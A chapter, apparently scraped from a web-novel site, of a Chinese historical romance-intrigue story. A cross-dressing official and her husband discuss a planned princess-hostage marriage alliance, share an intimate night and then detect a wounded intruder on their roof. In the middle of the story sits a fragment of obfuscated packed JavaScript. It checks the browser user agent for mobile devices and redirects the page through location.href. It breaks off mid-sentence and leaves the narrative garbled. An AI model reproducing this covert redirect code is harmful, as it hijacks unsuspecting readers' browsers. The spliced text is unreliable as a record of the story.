陆明阜握住她的手,就像是落水的人抓住一根救命稻草,略显急促地把脸颊往她掌心上贴:“我对安平公主此人了解也不多,先前在陛下身边做翰林院待诏的时候见过一次,公主对谁都和和气气的,没有什么架子,陛下玩笑般问起她对政事的看法时,她也能引经据典说得头头是道,是个很有想法的,至于和庄王府的含章郡主有没有什么交情,这个我确实不太清楚,不过京城时不时会举办赏花宴、裙幄宴之类的宴会,邀请各家小姐吟诗作赋争头彩,公主和郡主常在受邀之列,应当是认识的。” 其实还有件事他没说。 即使皇帝后来收回了给他和公主赐婚的旨意,他也很是避嫌,对安平公主的事他是能不沾染就不沾染。 和安平公主见上的那一面还是皇帝有意无意撮合的,不过那次他和安平公主都很是回避对方,是以后来皇帝也就没再让二人“无意”遇见。 郑清容点点头:“好,我知道了,先吃饭。” 先前听到杜近斋说皇帝把含章郡主提到了宫里给公主做伴读时,她就觉得事情有些意外的巧了。 毕竟郡主才在国子监打了那些官家子弟,各家长辈只怕正要找庄王府讨要一个说法,结果一转头郡主就做了公主伴读。 这背后是什么原因尚且不清楚,但现在的结果明显是让打人的和被打的双方都满意的。 而她想知道的就是这个原因。 陆明阜捧着碗筷,许是受到方才的话题影响,让他有些食不下咽。 不过提起安平公主,忽又让他想起一件事来:“还有一件事,之前在职时,南疆那边递来了消息,说是有意和陛下结秦晋之好。” “联姻?”郑清容吃饭的动作一顿,“南疆那边要送人过来和亲?” 陆明阜摇摇头:“不光是南疆要送公主过来,我们这边也要送一位公主过去,名为联姻,实为人质交换。” 郑清容哈了一声:“安平公主?陛下不是极为宠爱这位唯一的公主吗?他舍得?” 整个东瞿就只有这么一位公主,用来政治联姻不太现实。 还是说陛下有意把别家的贵女封为公主嫁过去?以往这样的事也不是没有。 想起今天突然被点为公主伴读的庄怀砚,郑清容觉得也不是不可能。 看出她心中所想,陆明阜补充道:“为了表示诚意,南疆那边准备送来的是南疆王唯一的女儿,阿依慕公主,他们也希望陛下将唯一的安平公主送往南疆。” 郑清容呵呵:“南疆王这算盘未免打得太响了,他虽然只有一个女儿,但他有十几个儿子,他怎么不送个儿子过来?就非得送女儿?” 陆明阜无奈一叹:“南疆王送儿子过来当然也是可以的,只是我们这边没有皇子可送。” 他这一句让郑清容彻底没了话说。 当今陛下后宫空置,膝下无子,安平公主这个唯一的女儿还是陛下昔日身为皇子时,他的皇子妃给他生的。 安平公主生下没几天,陛下便继位成了新帝,皇子妃也被册为皇后,不过后来皇后薨逝,陛下便再无立后纳妃之意,尽管大臣们多次上书让他充盈后宫开枝散叶,但都被他压了下来。 就像陆明阜说的,这次名义上是联姻,但实际上是人质交换达成某种政治合作。 在此之前,好斗的北厉和蛮横的西凉已经结成了联盟,合作攻下了周边不少小国,势如破竹,各国人人自危,在这样战事一触即发的局势下,有些头脑的国家就会寻求合作伙伴一致对外。 此番南疆的联姻就是试探,能暂时联手合作那是最好,要是拒绝,南疆转头就会去找别的国家联手,然后把矛头对准东瞿。 陛下就算再怎么不舍得,只怕也会割舍安平公主。 或许这次把庄怀砚安排为公主伴读就是安平公主在背后推动的,陛下出于愧疚,所以顺水推舟做了这个人情。 这样一来,所有的事情就都说得通了。 安平公主被陛下送去南疆,含章郡主被他父亲嫁去岭南,世间女子,多是同病相怜。 郑清容沉默了半晌,又问:“可有说是什么时候?” “不曾。”陆明阜给她夹了两块藕片,“和亲的折子一直被陛下压在御书房,想来陛下还在考虑之中,不过看今日郡主被提为公主伴读的事,想来陛下应该是有了决断。” 郑清容点点头,这一点陆明阜倒是和她想到一块去了。 比起一个女儿,在手握权势君主的眼里,只怕还没有江山社稷重要。 所以,到底什么时候才能彻底结束换女求和的事? 二人各有心事,一顿饭吃得毫无滋味。 郑清容沐浴后躺在榻上闭目沉思,今日所见所闻太多太繁太琐碎,她需要短暂地放空自己想想下一步要怎么做才能万无一失。 陆明阜将她的头抱到自己腿上,依旧拿了帕子给她绞头发。 绞干后趁着郑清容还闭着眼睛,他又故意拉低自己的领子,露出半截锁骨和一角胸膛。 再三确定这样的裸·露不会显得太过刻意,他才试着唤了一声:“夫人?” “嗯?”郑清容抬眼看他,映入眼帘的是略有松散的衣襟,以及半露不露无端勾人的锁骨和胸膛。 从她这个角度看去,陆明阜的肩头至腰线呈现出一个漂亮的倒三角形状,暖玉般的色泽莹莹如流水,灯火映照下肌理曲线分明,很是惹眼。 郑清容轻笑着,挑起他垂在肩头的一缕墨发,兀自绕在指尖把玩:“明阜身上熏了什么香?怎的这般醉人?” “没有熏香。”许是怕自己的小把戏被看穿,陆明阜故意避开她的视线道。 因为郑清容要时常进行女男角色的对换,怕留下什么破绽让人生疑,所以她从来不佩戴有味道的东西,而他作为她的枕边人,避免气味沾染,也不会在身上弄那些世家大族都讲究的熏香。 郑清容笑笑。 她当然知道他不会熏香,他也不需要熏香,因为他的身上本就带着一种特殊的清香。 这种体香平时没什么味道,只有在他动情时才会散发出来。 郑清容勾起他的墨发去撩带他的脖颈和肩窝:“明阜,你是个聪明人,这种漏洞百出的勾·引不适合你。” “我没有夫人聪明。”心思被看穿,陆明阜耳尖一红,“我也只会这种看起来有些笨笨的勾·引,夫人要是不喜欢,我就去学学别的。” 郑清容哭笑不得。 她怎么不喜欢?她就吃这套。 当初陆明阜不也是主动跑到她面前宽衣解带蓄意勾·引吗?那么聪明的一个人,做起这种事来却笨笨傻傻的,让人看了直想欺负。 郑清容忽然拽住他的衣襟把人拉到自己跟前。 呼吸纠缠之际,唇瓣的有意无意粗碰让陆明阜不由得闭上了眼。 就在他以为郑清容的吻会落下来的时候,忽然听得对方问:“是因为安平公主?” 背后原因被点破,陆明阜有些心虚地睁开眼,便见郑清容的唇停在了离他纤毫之间的地方。 明明只差一点儿就能触碰到的距离,只需要他稍稍侧头就能碰上,但郑清容没有动作,他也很识趣地没有凑上去完成这个将落未落的吻。 他没有回答她的问题,但颤动的睫羽暴露了他的答案。 “明阜,你不自信。”郑清容点了点他的眉梢,一针见血。 每次提起安平公主,他总是会加倍地用身体来向她证明他没有二心,似乎在他的认知里,只有身体上的补偿才能给他一点儿这段关系的慰藉。 归根结底,其实是他不自信的表现。 导致他迫切地想要用自己的一切去证明些什么,这其中就包括他的身体,也大都集中在他的身体上。 陆明阜垂下眼帘,并不辩驳她说的事实。 毕竟这段关系的开始本身就是他用自己的身体换来的,是他先不顾礼义廉耻在她面前宽衣解带,他能在她身边,叫她一句夫人,给她洗衣做饭,铺床叠被,都是因为这一点。 他不知道要怎么维系这一段强求来的关系,也不敢想要是有一天这唯一的媒介不存在了,他会落到怎样的下场。 所以趁着她还喜欢自己的身体,他只能拼命地用身体做枢纽,孤注一掷又破釜沉舟般地连接这一段偷来的感情。 没错,是偷的。 若不是他蓄意勾·引,他可能都没机会站到她身边。 他的手段不光彩,上不来台面,为人所不齿,这也是他不自信的原因。 郑清容挑起他的下巴,迫使他看着自己:“明阜,你都不自信,又让我如何信你?” “我只是想用自己的方式让夫人看清我的心意。”察觉她语气中带了一丝轻叹,陆明阜显见有些慌了,紧紧握住她的手,就像失足落水的人抓住了一根救命稻草,“夫人现在不喜欢我这副身体了吗?” 郑清容微微仰头,和他额头相抵:“明阜,我不否认你的勾·引我很受用,你的身体我也很喜欢,但你太敏感了,横亘在我们之间的不是安平公主,也不是别的什么人,是你一开始就没有把自己放到正确的位置上,所以你才会患得患失没有安全感,甚至是自卑。” 说到这里,郑清容不由得又想起一件事:“还是说,你之所以这样是因为我当初的那句话让你生出了不安的情绪?” 当初陆明阜解衣褪裳来表明心意的时候,她就说过。 “你想和我在一起也可以,但如果有一天你和我的前路到了需要择一而取的地步,我不会选择你,这样你还愿意吗?” 她知道这样的话很无情,可她必须先把话说清楚,好让他知难而退。 她都准备好了给他时间考虑,但陆明阜当时想都没想就说了愿意。 给出的答案这么快,是怕她后悔,也是怕他自己会后悔罢。 陆明阜摇摇头,极力解释:“不是的,夫人的那句话没有任何不妥,夫人有青云之志,本就该如此,是我非要掺和进来,夫人没有因此怪罪反而给了我选择的余地,这已经是我最大的幸运了,我绝不会因此退缩或者后悔。” “我只是有些怕夫人会厌弃我,毕竟我今天能站到这里,背地里使的手段不够光彩,我时常会想,若是当初也有人像我这般不知羞耻地跑到夫人面前行那般孟浪出格之事,后面会不会就没有我的事了?” “当然了,这些乱七八糟的事先不提,如果……我是说如果有一天夫人当真厌弃了我,还请夫人一定要告诉我,我会从夫人眼前消失,绝对不会赖着夫人不走。” 说到最后,他的语气有些哽咽,但还是强撑着把话说完。 伴随着最后一个字出口,他的眼泪便大滴大滴地砸落,像是断了线的珍珠,噼里啪啦一发不可收拾地掉出眼眶,剩下一滴蜿蜒流过脸颊,留下一线晶莹的雨露痕迹,最后倔强地挂在下颌,不肯落下。 高风亮节的君子,落泪都是无声的。 人都是善于伪装的,只愿意让人看见自己光鲜亮丽的部分,可他就这样把自己不堪的一面毫无保留地剖析在喜欢的人面前,无声进行着一场灵魂上的极致缓刑。 似乎觉得这个时候掉眼泪有些使手段博同情的意味,陆明阜忙抬手胡乱擦去不争气的泪水:“我不是要故意哭给夫人看,我只是……只是控制不了,我也知道自己得到的已经很多了,不能再贪心,可是我不想失去夫人。” 他越是这样懂事,就越让人看得揪心。 科举一场考试几天几夜都能控制饮食和作息,但到了感情上,他就是一个患得患失的被动方。 他所有的喜怒都是由她牵引,寻常一点儿甜就足够他回味很久,同样的,一句气氛不太好的话也让他如临大敌。 “不会。”郑清容吻去他残留在眼角的泪,一句句回答他先前提出的问题,“不会有其他人,这是我只给你一个人的机会,只要你不厌弃自己,我就不会厌弃你。” “那……夫人还喜欢我吗?”得到期许已久的答案,陆明阜颇有些语无伦次,“我方才的举动是不是惹夫人不高兴了?我保证以后不会了,夫人不要生气好不好?” 明明方才还因为一些事二人间的气氛有些僵持不下,但现在他双眸含情,泪眼朦胧问她还喜不喜欢自己。 如此卑微又诚挚地探问,就像回到了寻常女男感情最开始的时候,懵懂、期待之中又夹杂了一丝难以言说的害怕。 这次郑清容没有再接话,而是用实际行动告诉他答案。 急促的吻铺天盖地席卷而来,陆明阜被动承受着她的侵略气息。 本就松散的衣襟不知什么时候自肩头滑落,一半垂垂挂在腰间,一半翩翩拖在榻上,没有了衣冠的装饰与遮挡,原始的野性与疯狂暴露在空气之中,模糊了彼此的影子。 许是因为刚刚哭过,泪水蹚过嘴角,带了一丝淡淡的清苦。 陆明阜轻轻拽了拽她的袖子,示意她自己想要起身去洗把脸再来。 先前他倒是上上下下都提前洗漱了一遍,还特意换上了她最喜欢的一套天水寝衣,绾了一个平日里她会多看两眼的发髻,无奈刚刚哭过一场,脸上到底是不好看的。 他想让她看到自己最好的一面。 但想归这么想,在郑清容的攻势下,他的所有推却都变成了欲拒还迎。 到底是不忍在这种时候打断此间温情,陆明阜仰着脖子接受她的洗礼,直到气息所及,都是她的味道。 恰在此时,院子外面传来有些类似脚步嘈杂的动静,郑清容耳朵微动,忽然停下了动作。 习武之人目力耳力都比普通人要好,这点儿动静逃不过她的耳朵。 陆明阜被她勾得早已动情,低低喘息着,不知道她为何停下,只努力把身体往她那边贴,埋首在她肩颈,似陈述又似引诱:“夫人,我好想你,很想很想。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15115852|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这别有深意的话让郑清容短促地笑了一下,安抚似地吻了吻他的额头,并未进行下一步,直到确定院墙外的人走了后这才继续和他纠缠在一起。 听脚步声来的人不是什么练家子,而且你推我攘的犯了致命错误,大概率是刑部司的人踩点来了,没有选择在这个时候动手估计是今日看到她和杜近斋走到一起,有所忌惮。 夜色如水,山鸟振翅而飞,林间树叶一片颤颤。 陆明阜整个人犹如溺了水的羔羊,面色绯红,双唇翕张久久回不过神。 郑清容轻笑一声,低头吻上他的唇,缠绵许久,在分开时又习惯性地咬了他唇角一下。 咬完郑清容又意识到现在的情况不能和在扬州时相比,不由得抚上他有些破皮出血的唇瓣:“明阜这样子,明日怕是不能见人了。” 陆明阜眸色早已不复先前的清明之色,呼吸也随着她的动作乱作一团,失了分寸,深一口浅一口的汲取新鲜空气:“左右现在被贬在家也无人可见,夫人可尽情处置。” 郑清容被他这话逗得直笑。 皇帝贬斥他是为了让他在家思过,他倒好,把这当成是“偷·情”的好时机。 “皇帝要是听见你这话,只怕得‘新仇旧恨’一起算。”郑清容没好气道。 这新仇,就是他方才口无遮拦。 旧恨,自然是指他高中状元却抗旨拒婚那件事。 陆明阜不以为意,反而得寸进尺把自己更多地送到她跟前:“所以还请夫人行行好,让我做个风·流鬼,死得明白些。” 郑清容忍俊不禁:“说的什么话?” 陆明阜这个人平日里看着君子端方,守重自持,就算是难得的求欢也说得十分含蓄,但其实只要脱了衣服,尝到了甜头之后就会说一些大胆露骨的话,和他极具迷惑性的无害表相完全不同。 譬如现在。 大概是被平日里的繁文缛节之类的规矩束缚久了,所以在这种事上才有机会小小地放浪形骸几句。 陆明阜迎合着她的节奏,整个人乖得不行,哪怕是累了也勾着她层层深入,不肯放手,情到深处时一遍又一遍地在她耳边叫着夫人,尽可能地把自己送到她手里,几乎要把自己揉碎,揉进她的骨血之中。 先前二人之间的不愉快让他心有余悸,只有身体上的欢愉才能让他有足够的安全感。 在她的气息覆盖下,他早就化作了一池秋水,眉眼谷欠色尽染,额角碎发汗湿,肩背淋漓生香,自身体发出的香气愈发浓郁,连带着一室帐香春暖。 纠缠了大半夜,二人方才取了热水擦洗收拾。 陆明阜眸底的春色未散,四肢酸软但仍不肯睡下,只侧着身子盯着郑清容瞧。 “还不睡?在看什么?”郑清容给他理了理有些乱的发尾,又帮他掖了掖被角。 “现在的我也就只能在夜里才能这样近距离地看着夫人,想要多看看。”说着,陆明阜又挪得离她近了些,直至和她额头贴着额头,鼻尖抵着鼻尖,彼此之间都是对方的呼吸和热浪。 郑清容半捧半抚着他的侧脸,语气和软:“这有何难,等我升官,到时候朝堂上天天都能见到。” 她说的话,陆明阜不疑有他:“夫人接下来有什么打算?可有用得着我的地方?” 郑清容也不客气,说了她的计划和安排:“城东馄饨铺的梅娘子似乎知道些什么,我打算从她那里入手,你得空帮我查查这位梅娘子的底细。” 今日和梅娘子交谈下来,虽然没得到什么具体有效的信息,但直觉告诉她,梅娘子隐瞒了一些事情。 簪子应该是故意给她看的,话也是故意说给她听的,尽管她做得很自然,但郑清容还是察觉到了当中的刻意。 至于梅娘子意欲何为,郑清容有两种猜想。 要么是有人授意,要么就是她有所图谋。 对一个孤身来到京城做馄饨生意的女子来说,郑清容更倾向于第二种。 不过图什么,就得深入挖掘了。 说起梅娘子,郑清容又想起那个故意扮老的人:“还有个经常在她馄饨铺子里吃馄饨的吴老爷子,也需要探一探他的底。” 她前脚遇到吴老爷子,后脚梅娘子就请她吃面,期间还有意无意答复了她在吴老爷子那里没有得到答案的问题。 天底下哪有这么巧的事? 她可从来不信什么巧合。 从梅娘子的话来看,两个人似乎只是铺子老板和食客的关系,但联系整件事的前后顺序来看,绝对不只是这么简单,更何况吴老爷子还是个故意扮老的人。 扮老是在隐藏什么?掩盖什么?还是躲避什么? 知道国子监和刑部司的人,必然不是什么无足轻重的人。 “好,我明日就去查查她们二人的身份来路。”陆明阜点头应下,见她眉间带有倦色又于心不忍,“这才来京城,夫人就这般操劳,其实我觉得像现在这样也挺好,起码夫人没这么劳累。” 郑清容笑他:“明阜这是当‘地下情夫’当上瘾了?” “只要是夫人在的地方,我做什么都可以。”陆明阜立即表忠心。 郑清容乐不可支:“就算不能让你穿金戴银吃香喝辣,也不能让你跟着我受苦不是?” “不苦,和夫人在一起,就算是吃糠咽菜我也乐意。”陆明阜蹭着她的鼻头,尾音不自觉地带了几分低沉沙哑。 “傻话。”郑清容吻了吻他的唇角,“睡吧。” 陆明阜如愿以偿地得到了睡前的亲吻,正要合眼睡下,却不知道为什么心头一跳,觉得有哪里不对劲。 下意识抬眼去瞧郑清容,就见郑清容目光犀利,正盯着屋顶的某一处地方看。 夜里光线幽暗,但那双眼睛明亮如淬火,给人一种莫名的安全感。 “夫人?”陆明阜轻声唤她。 先前情动之时没能发现有人来过,但现在万籁俱静,他倒是发觉了一丝不对。 郑清容低声问:“还有力气吗?” 起先在院子外面的那波人不过都是些小喽啰,没什么拳脚功夫在身,而且只是在院子外围走了一圈,并没有别的动作,用不着她多费心。 但这次明显和先前那波人不一样,让她真真切切感觉到了威胁。 她不确定这是不是刑部司的后手,又或者是其他不知道的某个势力。 为了确保今后的事顺利进行,她有必要去探一探。 “可以的。”陆明阜给了她肯定的答复。 结束之后虽然筋骨都在发软发麻,但经过方才短暂的谈话休整,他已经恢复了几分气力,行走坐卧不成问题。 “好。”郑清容不动声色抓了衣服给他,示意他先离开,“你先去密道避上一避,我去看看是什么情况。” 知道事情紧急,陆明阜也不多问,拿过衣服就开始往自己身上套:“夫人注意安全,我等你平安回来。” 这句话他早上也说过,不过和早上不同的是,这次多了“平安”二字。 他没有习武,这种事也帮不上什么忙,就只默默地听她安排,好让她没有后顾之忧。 确定陆明阜暂时没有安全问题,郑清容这才披了衣服出去。 夜已近半,整个京城都陷入了巨大的黑暗和沉寂之中。 今夜月色清透,漫天星辰渲绕,晚风微凉,要是没有奇怪的事发生,将会是个不错的赏月夜。 郑清容飞身上了屋顶,找到先前发出声响的地方。 借着月色,可以看到其中一块瓦片上残留有飞溅状的血迹,血液还很新鲜,并未完全干涸。 来人受了伤。 但对方很聪明,用别的东西掩盖了血腥味,干扰了她的嗅觉,所以她一时也判断不出具体位置。 不过她可以确定的是,此番来的只有一个人。 郑清容比对了一下血迹的角度和方向,悄无声息地挪动脚步,随后踢起一块瓦片直冲向屋檐的暗面。 几乎是瓦片飞出的瞬间,一个人影猛地从屋檐下翻出。